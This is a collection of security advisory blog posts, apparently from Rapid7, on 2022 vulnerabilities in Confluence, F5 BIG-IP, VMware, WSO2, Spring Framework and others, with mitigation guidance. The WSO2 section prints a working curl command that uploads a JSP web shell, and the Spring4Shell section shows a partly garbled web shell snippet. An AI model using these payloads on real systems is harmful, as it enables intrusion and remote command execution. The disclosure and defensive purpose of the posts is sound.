CVE-2022-26138: Hardcoded password in Questions for Confluence app
The most critical of these three is CVE-2022-26138, as it was quickly exploited in the wild once the hardcoded password was released on social media. There is a limiting function here, however, as this vulnerability only exists when the Questions for Confluence app is enabled (and does not impact the Confluence Cloud instance). Once the app is enabled on affected versions, it will create a user account with a hardcoded password and add the account to a user group, which allows access to all non-restricted pages in Confluence. This easily allows a remote, unauthenticated attacker to browse an organization’s Confluence instance. Unsurprisingly, it didn’t take long for Rapid7 to observe exploitation once the hardcoded credentials were released, given the high value of Confluence for attackers who often jump on Confluence vulnerabilities to execute ransomware attacks.
Affected versions
Questions for Confluence 2.7.x
2.7.34
2.7.35
Questions for Confluence
3.0.x
3.0.2
Mitigation guidance
Organizations using on-prem Confluence should follow Atlassian’s guidance on updating their instance or disabling/deleting the account. Rapid7 recommends organizations impacted by this take steps immediately to mitigate the vulnerability. Atlassian’s advisory also includes information on how to look for evidence of exploitation. An FAQ has also been provided.
Two other vulnerabilities were announced at the same time, CVE-2022-26136 and CVE-2022-26137, which are also rated critical by Atlassian. They both are issues with Servlet Filters in Java and can be exploited by remote, unauthenticated attackers. Cloud versions of Atlassian have already been fixed by the company.
While the impact of these vulnerabilities will vary by organization, as mentioned above, attackers place a high value on many Atlassian products. Therefore, Rapid7 recommends that organizations update impacted product versions as there is no mitigation workaround available.
Rapid7 customers
InsightVM and Nexpose: Our engineering team is investigating the feasibility of a vulnerability check to help InsightVM and Nexpose customers assess exposure to CVE-2022-26138.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
In April 2022, telecommunications company Mitel published a security advisory on CVE-2022-29499, a data validation vulnerability in the Service Appliance component of MiVoice Connect, a business communications product. The vulnerability, which was unpatched at time of publication, arose from insufficient data validation for a diagnostic script and potentially allowed an unauthenticated remote attacker to send specially crafted requests to inject commands and achieve remote code execution. CVE-2022-29499 has a CVSSv3 score of 9.8.
On June 23, 2022, security firm Crowdstrike published an analysis on a ransomware intrusion attempt that had targeted CVE-2022-29499 — which at the time of detection was an undisclosed zero-day vulnerability — as an initial access vector. Over the past two weeks, Rapid7 Managed Detection and Response (MDR) has also observed a small number of intrusions that have leveraged CVE-2022-29499 as an initial access vector.
There is currently no indication that a large number of these appliances are exposed to the public internet, and we have no evidence that this vulnerability is being targeted in wider-scale ransomware campaigns. We are conscious of the fact, however, that the proliferation of ransomware in general has continued to shape risk models for many organizations, and that network perimeter devices are tempting targets for a variety of attackers.
Affected products
CVE-2022-29499 affects MiVoice Connect deployments (including earlier versions 14.2) that include the MiVoice Connect Service Appliances, SA 100, SA 400 and/or Virtual SA. Vulnerable firmware versions include R19.2 SP3 (22.20.2300.0) and earlier, and R14.x and earlier. See Mitel product security advisory 22-0002 and their security bulletin for additional information.
Mitigation guidance
Mitel MiVoice Connect customers who use vulnerable versions of the Service Appliance in their deployments should update to a fixed version of the appliance immediately. Mitel released patches for CVE-2022-29499 in early June 2022; organizations that have not updated the firmware on their appliances since before that timeframe should apply fixes as soon as possible.
Rapid7 customers
We have not been able to determine whether a vulnerability check is feasible at this time. We are investigating alternative options to help InsightVM and Nexpose customers assess exposure, including the potential to generically fingerprint MiVoice Connect in customer environments.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On Monday, June 14, 2022, Citrix published an advisory on CVE-2022-27511, a critical improper access control vulnerability affecting their Application Delivery Management (ADM) product.
A remote, unauthenticated attacker can leverage CVE-2022-27511 to reset administrator credentials to the default value at the next reboot. This allows the attacker to use SSH and the default administrator credentials to access the affected management console. The vulnerability has been patched in Citrix ADM 13.1-21.53 and ADM 13.0-85.19 and should be applied as soon as possible. Versions of Citrix ADM before 13.0 and 13.1 are end of life, so Citrix will not make patches available for these versions. Users still on version 12.x are encouraged to upgrade to a supported version.
At the time of this writing, no exploitation has been observed, and no exploits have been made publicly available. However, given the nature of the vulnerability and the footprint of Citrix ADM, we anticipate that exploitation will happen as soon as an exploit is made available.
Mitigation guidance
Citrix ADM customers should upgrade their versions of both ADM server and agents as soon as possible. Citrix notes in their advisory that they strongly recommend that network traffic to the Citrix ADM’s IP address be segmented, either physically or logically, from standard network traffic.
Rapid7 customers
We are investigating the feasibility of a vulnerability check for InsightVM and Nexpose customers.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On June 2, 2022, Atlassian published a security advisory for CVE-2022-26134, a critical unauthenticated remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability is unpatched as of June 2 and is being exploited in the wild.
Affected versions include Confluence Server version 7.18.0. According to Atlassian’s advisory, subsequent testing indicates that versions of Confluence Server and Data Center >= 7.4.0 are potentially vulnerable. There may also be other vulnerable versions not yet tested.
In the absence of a patch, organizations should restrict or disable Confluence Server and Confluence Data Center instances on an emergency basis. They should also consider implementing IP address safelisting rules to restrict access to Confluence.
For those unable to apply safelist IP rules to their Confluence server installations, consider adding WAF protection. Based on the details published so far, which admittedly are sparse, we recommend adding Java Deserialization rules that defend against RCE injection vulnerabilities, such as CVE-2021-26084. You can find an example here.
Rapid7 customers
We are investigating options for a vulnerability check to allow InsightVM and Nexpose customers to assess their exposure to CVE-2022-26134. We will update this blog as new information becomes available.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On May 30, 2022, Microsoft Security Response Center (MSRC) published a blog on CVE-2022-30190, an unpatched vulnerability in the Microsoft Support Diagnostic Tool (msdt) in Windows. Microsoft’s advisory on CVE-2022-30190 indicates that exploitation has been detected in the wild.
According to Microsoft, CVE-2022-30190 is a remote code execution vulnerability that exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Workarounds are available in Microsoft’s blog.
Rapid7 research teams are investigating this vulnerability and will post updates to this blog as they are available. Notably, the flaw requires user interaction to exploit, looks similar to many other vulnerabilities that necessitate a user opening an attachment, and appears to leverage a vector described in 2020. Despite the description, it is not a typical remote code execution vulnerability.
Rapid7 customers
Our teams have begun working on a vulnerability check for InsightVM and Nexpose customers.
InsightIDR customers have a new detection rule added to their library to identify attacks related to this vulnerability:
Suspicious Process – Microsoft Office App Spawns MSDT.exe
On May 18, 2022, VMware published VMSA-2022-0014 on CVE-2022-22972 and CVE-2022-22973. The more severe of the two vulnerabilities is CVE-2022-22972, a critical authentication bypass affecting VMware’s Workspace ONE Access, Identity Manager, and vRealize Automation solutions. The vulnerability allows attackers with network access to the UI to obtain administrative access without the need to authenticate. CVE-2022-22972 may be chained with CVE-2022-22973 to bypass authentication and obtain root access. A full list of affected products is available in VMware’s advisory.
At time of writing, there is no public proof of concept for CVE-2022-22972, and there have been no reports of exploitation in the wild. We expect this to change quickly, however, since Rapid7 researchers have seen similar VMware vulnerabilities come under attack quickly in recent weeks. In April 2022, we published details on CVE-2022-22954, a server-side template injection flaw that was widely exploited by threat actors targeting internet-facing VMware Workspace ONE and Identity Manager applications.
In conjunction with VMware’s advisory on May 18, the US Cybersecurity and Infrastructure Agency (CISA) published Emergency Directive 22-03 in response to VMSA-2022-0014. The directive requires all “Federal Civilian Executive Branch” agencies to either apply the patch or remove affected VMware installations from agency networks by May 24, 2022. CISA also released an additional alert emphasizing that threat actors are known to be chaining recent VMware vulnerabilities — CVE-2022-22954 and CVE-2022-22960 — to gain full control of vulnerable systems. CISA’s alert notes that the new vulnerabilities in VMSA-2022-0014 are likely to be exploited in the wild quickly:
Due to the [likely] rapid exploitation of these vulnerabilities, CISA strongly encourages all organizations with affected VMware products that are accessible from the internet — that did not immediately apply updates — to assume compromise.
Mitigation guidance
VMware customers should patch their Workspace ONE Access, Identity Manager, and vRealize Automation installations immediately, without waiting for a regular patch cycle to occur. VMware has instructions here on patching and applying workarounds.
Additionally, if your installation is internet-facing, consider taking steps to remove direct access from the internet. It may also be prudent to follow CISA’s guidance on post-exploitation detection methods found in Alert (AA22-138B).
Rapid7 customers
InsightVM and Nexpose customers can assess their VMware Workspace ONE Access and Identity Manager systems’ exposure to CVE-2022-22972 and CVE-2022-22973 with authenticated vulnerability checks for Unix-like systems available in the May 19, 2022 content release. (Note that VMware Workspace ONE Access is only able to be deployed on Linux from 20.x onward.) Additional vulnerability coverage will be evaluated as the need arises.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On May 4, 2022, F5 released an advisory listing several vulnerabilities, including CVE-2022-1388, a critical authentication bypass that leads to remote code execution in iControl REST with a CVSSv3 base score of 9.8.
The vulnerability affects several different versions of BIG-IP prior to 17.0.0, including:
F5 BIG-IP 16.1.0 – 16.1.2 (patched in 16.1.2.2)
F5 BIG-IP 15.1.0 – 15.1.5 (patched in 15.1.5.1)
F5 BIG-IP 14.1.0 – 14.1.4 (patched in 14.1.4.6)
F5 BIG-IP 13.1.0 – 13.1.4 (patched in 13.1.5)
F5 BIG-IP 12.1.0 – 12.1.6 (no patch available, will not fix)
F5 BIG-IP 11.6.1 – 11.6.5 (no patch available, will not fix)
Over the past few days, BinaryEdge has detected an increase in scanning and exploitation for F5 BIG-IP. Others on Twitter have also observed exploitation attempts. Due to the ease of exploiting this vulnerability, the public exploit code, and the fact that it provides root access, exploitation attempts are likely to increase.
Widespread exploitation is somewhat mitigated by the small number of internet-facing F5 BIG-IP devices, however; our best guess is that there are only about 2,500 targets on the internet.
Mitigation guidance
F5 customers should patch their BIG-IP devices as quickly as possible using F5’s upgrade instructions. Additionally, the management port for F5 BIG-IP devices (and any similar appliance) should be tightly controlled at the network level — only authorized users should be able to reach the management interface at all.
F5 also provides a workaround as part of their advisory. If patching and network segmentation are not possible, the workaround should prevent exploitation. We always advise patching rather than relying solely on workarounds.
Because this vulnerability is a root compromise, successful exploitation may be very difficult to recover from. At a minimum, affected BIG-IP devices should be rebuilt from scratch, and certificates and passwords should be rotated.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2022-1388 with an authenticated vulnerability check in the May 5, 2022 content release. This release also includes authenticated vulnerability checks for additional CVEs in F5’s May 2022 security advisory.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On April 6, 2022, VMware published VMSA-2022-0011, which detailed multiple security vulnerabilities. The most severe of these is CVE-2022-22954, a critical remote code execution vulnerability affecting VMware’s Workspace ONE Access and Identity Manager solutions. The vulnerability arises from a server-side template injection flaw and has a CVSSv3 base score of 9.8. Successful exploitation allows an unauthenticated attacker with network access to the web interface to execute an arbitrary shell command as the VMware user.
VMware updated their advisory to note active exploitation in the wild on April 12, 2022; a day later, security news outlet Bleeping Computer indicated that several public proof-of-concept exploits were being used in the wild to drop coin miners on vulnerable systems. More recently, security firm Morphisec published analysis of attacks that exploited CVE-2022-22954 to deploy reverse HTTPS backdoors. Public proof-of-concept exploit code is available and fits in a tweet (credit to researchers wvu and Udhaya Prakash).
Rapid7’s Project Heisenberg detected scanning/exploitation activity on 2022-04-13 and again on 2022-04-22. A total of 14 requests were observed across ports 80, 98, 443, 4443.
Attacker IP addresses: 103[.]42[.]196[.]67 5[.]157[.]38[.]50 54[.]38[.]103[.]1 (NOTE: according to this French government website, this IP address is benign) 94[.]74[.]123[.]228 96[.]243[.]27[.]61 107[.]174[.]218[.]172 170[.]210[.]45[.]163 173[.]212[.]229[.]216
These nodes appear to be members of generic botnets. Rapid7’s Heisenberg network has observed many of them involved in the same campaigns as noted in the above graphic, as well as Log4Shell exploitation attempts.
Mitigation guidance
VMware customers should patch their Workspace ONE Access and Identity Manager installations immediately, without waiting for a regular patch cycle to occur. VMware has instructions here on patching and applying workarounds. VMware has an FAQ available on this advisory here.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2022-22954 with an authenticated vulnerability check for Unix-like systems. (Note that VMware Workspace ONE Access is only able to be deployed on Linux from 20.x onward.)
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On April 18, 2022, MITRE published CVE-2022-29464 , an unrestricted file upload vulnerability affecting various WSO2 products. WSO2 followed with a security advisory explaining the vulnerability allowed unauthenticated and remote attackers to execute arbitrary code in the following products:
API Manager
Identity Server
Identity Server Analytics
Identity Server as Key Manager
Enterprise Integrator
A technical writeup and proof-of-concept exploit by @hakivvi quickly followed on April 20. The proof of concept uploads a malicious .jsp to /fileupload/toolsAny on the WSO2 product’s webserver. The .jsp is a web shell, and due to a directory traversal issue affecting the upload files name, the attacker can write it to a location where they can then send it commands. The attack is not restricted to .jsp files — other researchers, such as our old friend William Vu, have demonstrated exploitation with a war file.
Exploitation is quite easy. The following, modeled after both the original PoC and Vu’s, uploads a simple jsp web shell that the attacker will be able to use by visiting https://target:9443/authenticationendpoint/r7.jsp:
echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().
exec(request.getParameter("cmd"),null,null); %>' | curl -kv -F ../../
../../repository/deployment/server/webapps/authenticationendpoint/r7.
jsp=@- https://10.0.0.20:9443/fileupload/toolsAny
Rapid7’s Managed Detection and Response (MDR) team has observed this vulnerability being opportunistically exploited in the wild. Attackers appear to be staying close to the original proof-of-concept exploit and are dropping web shells and coin miners on exploited targets. Victim systems include both Windows and Linux installations of the aforementioned WSO2 products.
Rapid7 recommends remediating this vulnerability immediately per the instructions in WSO2’s advisory. If remediation is not possible, remove installations from the publicinternet as soon as possible. Inspect your installation for web shells (.jsp and .class): For example, the original proof of concept will drop the webshell in /authenticationendpoint/ which, when using API Manager on Windows, can be found in C:\Program Files\WSO2\API Manager\3.2.0\repository\deployment\server\webapps\authenticationendpoint. Additionally, examine the server’s http_access log for requests to /fileupload/toolsAny as a possible indication of malicious behavior:
Additionally, dropped war files will likely be exploded in the webapps directory (e.g. C:\Program Files\WSO2\API Manager\3.2.0\repository\deployment\server\webapps). The deployment may create entries such as the following in the wso2carbon log:
Rapid7 InsightIDR customers already have detection rules in place that can identify activity around the exploitation of this vulnerability. Customers should consider reviewing the rule action and priority of the following detection rules. Teams should be ready to investigate any alerts generated from these rules. For Rapid7 MDR customers, the MDR team is monitoring these alerts and will notify you if suspicious activity is detected in your environment.
Suspicious Process – Python Downloading and Executing Script
Attacker Technique – URL Passed To BitsAdmin
Attacker Technique – CertUtil With URLCache Flag
Attacker Technique – PowerShell Download Cradles
The Rapid7 Threat Detection and Response team also added the following rule to identify malicious activity specifically related to this exploit:
Suspicious Process – WSO2 Product Launches Suspicious Process (added 2022-04-22 19:19 UTC)
We are actively working on development of a vulnerability check for InsightVM and Nexpose customers and will update this blog with further information as it is available.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
We have been continuously monitoring for Spring4Shell exploit attempts in our environment and have been urgently investigating the implications for our corporate and production systems. We are actively remediating vulnerabilities as we find them and monitoring for any anomalous activity in our environment.
We will update this page as we learn more. At this time, customers do not need to take any action.
Further reading and recommendations
Our Emergent Threat Response team has put together a detailed blog post with general guidance about how to mitigate and remediate Spring4Shell. We will continue updating that post as we learn more about Spring4Shell and new remediation and mitigation approaches.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
If you are like many in the cybersecurity industry, any mention of a zero-day in an open-source software (OSS) library may cause a face-palm or audible groans, especially given the fast-follow from Log4Shell. While discovery and research is evolving, we’re posting the facts we’ve gathered and updating guidance as new information becomes available.
What Rapid7 customers can expect
Our team is continuing to investigate and validate additional information about this vulnerability and its impact. This is a quickly evolving incident, and we are researching development of both assessment capabilities for our vulnerability management and application security solutions and options for preventive controls. As additional information becomes available, we will evaluate the feasibility of vulnerability checks, attack modules, detections, and Metasploit modules.
Our team will be updating this blog continually. Our next update will be at 9 PM EDT on March 30, 2022.
Introduction
On March 30, 2022, rumors began to circulate about an unpatched remote code execution (RCE) vulnerability in Spring Framework when a Chinese-speaking researcher published a GitHub commit that contained proof-of-concept (PoC) exploit code. The exploit code targeted a zero-day vulnerability in the Spring Core module of the Spring Framework. Spring is maintained by Spring.io (a subsidiary of VMWare) and is used by many Java-based enterprise software frameworks. The vulnerability in the leaked proof of concept, which appeared to allow unauthenticated attackers to execute code on target systems, was quickly deleted.
A lot of confusion followed for several reasons:
The researcher’s original technical writeup needed to be translated.
The vulnerability (and proof of concept) isn’t exploitable with out-of-the-box installations of Spring Framework. The application has to use specific functionality, which we explain below.
A completely different unauthenticated RCE vulnerability was published yesterday (March 29, 2022) for Spring Cloud, which led some in the community to conflate the two unrelated vulnerabilities.
Rapid7’s research team has confirmed the zero-day vulnerability is real and provides unauthenticated remote code execution. Proof-of-concept exploits exist, but it’s currently unclear which real-world applications use the vulnerable functionality. This code ends up resulting in widespread exploitation or no exploitation at all, depending on how the features are used.
Recreating exploitation
The vulnerability appears to affect functions that use the @RequestMapping annotation and POJO (Plain Old Java Object) parameters. Here is an example we hacked into a Springframework MVC demonstration:
package net.javaguides.springmvc.helloworld.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import net.javaguides.springmvc.helloworld.model.HelloWorld;
/**
* @author Ramesh Fadatare
*/
@Controller
public class HelloWorldController {
@RequestMapping("/rapid7")
public void vulnerable(HelloWorld model) {
}
}
Here we have a controller (HelloWorldController) that, when loaded into Tomcat, will handle HTTP requests to http://name/appname/rapid7. The function that handles the request is called vulnerable and has a POJO parameter HelloWorld. Here, HelloWorld is stripped down but POJO can be quite complicated if need be:
package net.javaguides.springmvc.helloworld.model;
public class HelloWorld {
private String message;
}
And that’s it. That’s the entire exploitable condition, from at least Spring Framework versions 4.3.0 through 5.3.15. (We have not explored further back than 4.3.0.)
If we compile the project and host it on Tomcat, we can then exploit it with the following curl command. Note the following uses the exact same payload used by the original proof of concept created by the researcher (more on the payload later):
This payload drops a password protected webshell in the Tomcat ROOT directory called tomcatwar.jsp, and it looks like this:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -
Attackers can then invoke commands. Here is an example of executing whoami to get albinolobster:
The Java version does appear to matter. Testing on OpenJDK 1.8.0_312 fails, but OpenJDK 11.0.14.1 works.
About the payload
The payload we’ve used is specific to Tomcat servers. It uses a technique that was popular as far back as the 2014 and alters the Tomcat server’s logging properties via ClassLoader. The payload simply redirects the logging logic to the ROOT directory and drops the file + payload. A good technical writeup can be found here.
This is just one possible payload and will not be the only one. We’re certain that malicious class-loading payloads will appear quickly.
Mitigation guidance
This zero-day vulnerability is unpatched and has no CVE assigned as of March 30, 2022. The Spring documentation for DataBinder explicitly notes:
… [T]here are potential security implications in failing to set an array of allowed fields. In the case of HTTP form POST data for example, malicious clients can attempt to subvert an application by supplying values for fields or properties that do not exist on the form. In some cases this could lead to illegal data being set on command objects or their nested objects. For this reason, it is highly recommended to specify the allowedFields property on the DataBinder.
Therefore, one line of defense would be to modify source code of custom Spring applications to ensure those field guardrails are in place. Organizations that use third-party applications susceptible to this newly discovered weakness cannot take advantage of this approach.
If your organization has a web application firewall (WAF) available, profiling any affected Spring-based applications to see what strings can be used in WAF detection rulesets would help prevent malicious attempts to exploit this weakness.
Until a patch is available, and if an organization is unable to use the above mitigations, one failsafe option is to model processes executions on systems that run these Spring-based applications and then monitor for anomalous, “post-exploitation” attempts. These should be turned into alerts and acted upon immediately via incident responders and security automation. One issue with this approach is the potential for false alarms if the modeling was not comprehensive enough.
Vulnerability disambiguation
There has been significant confusion about the zero-day vulnerability we discuss in this blog post because an unrelated vulnerability in another Spring project was published yesterday (March 29, 2022). That vulnerability, CVE-2022-22963, affects Spring Cloud Function, which is not in Spring Framework. Spring released versions 3.1.7 and 3.2.3 to address CVE-2022-22963. CVE-2022-22963 is completely unrelated to the zero-day RCE under investigation in this blog post.
Further, yet another vulnerability CVE-2022-22950 was assigned on March 28th. A fix was released on the same day. To keep things confusing, this medium-severity vulnerability (which can cause a DoS condition) DOES affect Spring Framework versions 5.3.0 to 5.3.16. This CVE is completely unrelated to the zero-day RCE under investigation in this blog post.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On March 7, 2022, CM4all security researcher Max Kellermann published technical details on CVE-2022-0847, an arbitrary file overwrite vulnerability in versions 5.8+ of the Linux kernel. Nicknamed “Dirty Pipe,” the vulnerability arises from incorrect Unix pipe handling, where unprivileged processes can corrupt read-only files. Successful exploitation allows local attackers to escalate privileges by modifying or overwriting typically inaccessible files — potentially including root passwords and SUID binaries.
CVE-2022-0847 affects Linux kernel versions since 5.8. Read Rapid7’s full technical analysis of the vulnerability in AttackerKB, including PoC and patch analysis.
While CVSS is not yet available, CVE-2022-0847 will likely carry a “High” severity rating rather than a “Critical” one given the authentication requirement. Multiple public exploits are available, including a proof of concept from the original disclosure and a Metasploit module. We are not aware of any reports of exploitation in the wild as of March 9, 2022.
This is a “patch, but no need to panic” situation. With that said, a few factors make this bug stand out a bit more than the average local privilege escalation (LPE) vuln. First and foremost, this is a simple attack to execute once initial access has been obtained, and it offers adversaries broad avenues for privileged operations after sensitive files (like root passwords) have been modified. Security researchers have also demonstrated that in some cases, public exploit code can be used to escape containers in that files modified inside the container also get modified on the host. Finally, the lingering specter of Log4Shell means that there may be a higher chance that attackers already have local access required to execute a privilege escalation attack on Linux systems.
Updates to Linux distributions have been trickling out. Organizations should apply the latest patches as soon as they are available and reboot systems.
Rapid7 customers
Upcoming content releases for InsightVM and Nexpose customers will provide checks for CVE-2022-0847 as supported Linux vendors publish distribution-specific security advisories and updated packages. Checks for Debian and Ubuntu are expected March 9, with SUSE to follow later in the week. Red Hat has not yet published any errata at this time.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Rapid7 is monitoring the escalating conflict in Ukraine, and we have provided a blog on the various attack vectors organizations may see, as well as guidance on mitigations and remediations.
To assist with your preparation and response efforts, Rapid7 is continuously integrating into our products the most up-to-date threat intelligence — both consumed and curated — which are monitoring for new attack vectors and intelligence in order to alert on attacker behaviors that are associated with various Advanced Persistent Threat (APT) groups within InsightIDR.
If you are a Managed Detection & Response (MDR) customer, our global SOC teams are monitoring your environment 24/7 with a high degree of diligence, and as standard procedure, any verified suspicious activity will be investigated and reported to you with expediency. Considering the current crisis, we have placed a special emphasis on the most relevant APT groups, and we are closely monitoring a wide breadth of sources to make use of any newly created and verified indicators.
Keeping software patched against known vulnerabilities is an important first line of defense against attackers. On January 11, 2022, the Cybersecurity & Infrastructure Security Agency (CISA) published Alert AA22-011A: Understanding and Mitigating Russian State-Sponsored Cyber Threats to US Critical Infrastructure, listing several vulnerabilities known to be exploited by Russian threat actors.
InsightVM and Nexpose have checks for the CVEs called out in this alert. These vulnerabilities are included in InsightVM’s Threat Feed Dashboard (see the Assets With Actively Targeted Vulnerabilities card and the Most Common Actively Targeted Vulnerabilities card), along with other vulnerabilities known to be exploited in the wild.
Now that Russia has begun its armed invasion of Ukraine, we should expect increasing risks of cybersecurity attacks and incidents, either as spillover from cyberattacks targeting Ukraine or direct attacks against actors supporting Ukraine.
Any state-sponsored Russian attacks aiming to support the Russian invasion of Ukraine, or to retaliate for US, NATO, or other foreign measures taken in response to the Russian invasion of Ukraine, are most likely to be destructive or disruptive in nature rather than aiming to steal data. This blog discusses the types of attacks organizations may see — including distributed denial of service (DDoS), website defacements, and the use of ransomware or destructive malware — and recommends steps for their mitigation or remediation.
As we have stated before, we do not believe organizations need to panic. But as per guidance from numerous governments, we do believe it is wise to be extra vigilant at this time. Rapid7 will continue to monitor the cybersecurity risks, both internally and for our Managed Detection and Response (MDR) customers as the situation evolves. We will post updates as relevant and suggest subscription to our blog to see them as they are posted.
Malware
One of the most concerning possibilities is the risk of a destructive malware attack on the US, NATO members, or other foreign countries. This could take the form of a direct attack or spillover from an attack on Ukraine, such as the 2017 NotPetya operation that targeted Ukraine and spread to other parts of the globe. Cybersecurity researchers have just discovered a new data wiping malware, dubbed HermeticWiper (AKA KillDisk.NCV), that infected hundreds of Ukrainian machines in the last two months. This seems to be a custom-written malware that corrupts the Master Boot Record (MBR), resulting in boot failure. This malware, like NotPetya, is intended to be destructive and will cripple the assets that it infects.
As always, the best malware prevention is to avoid infection in the first place — a risk we can minimize by ensuring that assets are up to date and use strong access controls, including multi-factor authentication. Additionally, it is crucial to have an incident response plan in place for the worst-case scenario, as well as a business continuity plan — including failover infrastructure if possible — for business-critical assets.
DDoS
There have already been reports of DDoS attacks on Ukrainian websites, and Russia has historically used DDoS in support of operations against other former Soviet republics, such as Georgia, in the past. Given this context, it is plausible that state-sponsored Russian actors would use DDoS if they choose to retaliate in response to measures taken against Russia for the invasion of Ukraine, such as sanctions or cyber operations from NATO countries.
While DDoS does not receive the same level of attention as some other forms of attack, it can still have significant impacts to business operations. DDoS mitigations can include reduction of attack surface area via Content Distribution Networks or load balancers, as well as the use of Access Control Lists and firewalls to drop traffic coming from attacker nodes.
Phishing campaigns
Russian state-sponsored actors are also well known for engaging in spear-phishing attacks, specifically with compromised valid accounts. Defenders should ensure strong spam filtering and attachment scanning is in place. Educating end users of the dangers of phishing and regularly running phishing campaigns will also help mitigate this issue.
State-sponsored, APT-style groups are not the only relevant threats. In times of crisis, it is common to see phishing attacks linking to malicious websites masquerading as news, aid groups, or other seemingly relevant content. Opportunistic scammers and other bad actors will attempt to take advantage of our human nature when curiosity, anxiety, and desire to help can make people less suspicious. Remain vigilant and avoid clicking unknown links or opening attachments — basic cyber hygiene that can be forgotten when emotions run high.
Brute-force attacks
According to a report from the NSA, CISA, FBI, and NCSC, “From mid-2019 through early 2021, Russian General Staff Main Intelligence Directorate (GRU) … conduct[ed] widespread, distributed, and anonymized brute-force access attempts against hundreds of government and private sector targets worldwide.” GRU used the discovered credentials to gain access into networks and further used known vulnerabilities such as CVE-2020-0688 and CVE-2020-17144 to increase access.
The best mitigation for these types of attacks is to enable MFA on all systems. Minimize externally facing systems and ensure externally facing systems are fully patched.
Defacement
Ukraine has also been experiencing website defacements, which provide attackers with an opportunity to spread messaging. Website defacement is typically associated with hacktivist activity, but state-sponsored Russian actors could pose as hacktivists in order to disguise Russian state involvement, and spread their strategic communication themes to international audiences by defacing Western websites.
Website defacement often occurs as a result of weak passwords for admin accounts, cross-site scripting, injection, file upload, or vulnerable plugins. This can be managed by limiting the level of access accounts have and enforcing strong passwords. Additionally, looking for places where scripts or iframes could be injected or where SQL injection could occur can help identify vulnerabilities to remediate.
Ransomware
Ransomware could also be used to disrupt foreign targets. Criminals based in Russia were believed to be behind the 2021 ransomware attack on Colonial Pipeline in the United States. Ransomware can have disruptive effects on targets, and the attackers could simply refrain from decrypting files, even if they receive ransom payments, in order to maximize and extend the disruptive impact on victims. Additionally, opportunistic attackers who are actually looking for ransoms will still be on the prowl, and are likely to take advantage of the chaos.
To this end, defenders should:
Evaluate asset and application configurations to ensure resilience
Double-check visibility into the functioning of business-critical assets
Assess incident response processes in the case of an incident
What else should you be doing?
The following activities are mission-critical in times of uncertainty, but they are also best practices in general.
Continuous monitoring: Reinforce cybersecurity measures and staff during nights, weekends, and holidays. Threat actors are known to target their victims when there are gaps in “eyes on glass.”
Incident response plan: Prepare a dedicated team with a detailed workflow and a contact person that will be available offline in case of a cybersecurity incident.
Back up data: Implement data backup procedures of the company networks and systems. Backup procedures should be conducted on a frequent, regular basis for immediate recovery. Also, be sure to store backups offline and check them regularly to ensure they have not been poisoned with malware.
Reduce opportunities for attackers: Identify exposures, vulnerabilities, and misconfigurations that can provide opportunities for attackers to gain a foothold in your environment, and apply relevant mitigations or patches. In particular, Russian operators are well known to exploit edge systems. The Cybersecurity and Infrastructure Security Agency (CISA) recently put out an alert listing 13 known vulnerabilities that Russian state-sponsored threat actors use to initially compromise networks. We recommend this as a starting point for focused patching and mitigation.
Stay informed: Follow the latest updates and recommendations provided by Rapid7, as well as governmental security entities in specific press releases/alerts from the Ukraine CERT, The Security Service of Ukraine (SSU), and the US CISA.
We expect the situation to be fluid over the coming days and weeks, and security guidance and threats may also evolve as the conflict develops. The measures suggested in this blog will continue to be relevant, and we plan to provide additional information as needed.
In the meantime, you can also check this blog to see how Rapid7 can help you prepare for and respond to cyber attacks. We also recommend organizations check their government’s cybersecurity website for guidance.
This post is co-authored by Charlie Stafford, Lead Security Researcher.
Summary
Attackers are actively targeting VMware Horizon servers vulnerable to Apache Log4j CVE-2021-44228 (Log4Shell) and related vulnerabilities that were patched in December 2021. We’re sharing our observed activities and indicators of compromise (IOCs) related to this activity.
Details
Beginning Friday, January 14, 2022, Rapid7 Managed Detection & Response (MDR) began monitoring a sudden increase in VMware Horizon exploitation. The activity our teams are observing is similar to observed threat activity detailed by NHS Digital. Rapid7 services and research teams expect to see a continued strong upward trend in attacker activity directed at VMware Horizon instances vulnerable to Log4Shell exploits.
Rapid7 customers
Rapid7 InsightIDR and MDR customers: Alerts generated by the following detection rules can assist in identifying successful VMware Horizon exploitation:
Suspicious Process – VMWare Horizon Spawns CMD or PowerShell (created: Thursday, January 6, 2022, 14:18:21 UTC)
Rapid7 researchers are currently evaluating the feasibility of adding a VMware Horizon vulnerability check for Nexpose/InsightVM.
We have a dedicated resource page for the Log4j vulnerability, which includes our AttackerKB analysis of Log4Shell containing a proof-of-concept exploit for VMware Horizon.
Recommendations
Patch Immediately: Organizations that still have a vulnerable version of VMware Horizon in their environment should update to a patched version of Horizon on an emergency basis and review the system(s) for signs of compromise. As a general practice, Rapid7 recommends never exposing VMware Horizon to the public internet, only allowing access behind a VPN.
Organizations are advised to proactively block traffic to the IPs/URLs listed in the IOCs section.
Observed activities
Rapid7’s Threat Intelligence and Detection Engineering (TIDE) team has identified five unique avenues that attackers have taken post-exploitation, indicating that multiple actors are involved in this mass exploitation activity.
The most common activity sees the attacker executing PowerShell and using the built-in System.Net.WebClient object to download cryptocurrency mining software to the system.
TIDE has observed the attacker downloading cryptocurrency miners from the following URLs:
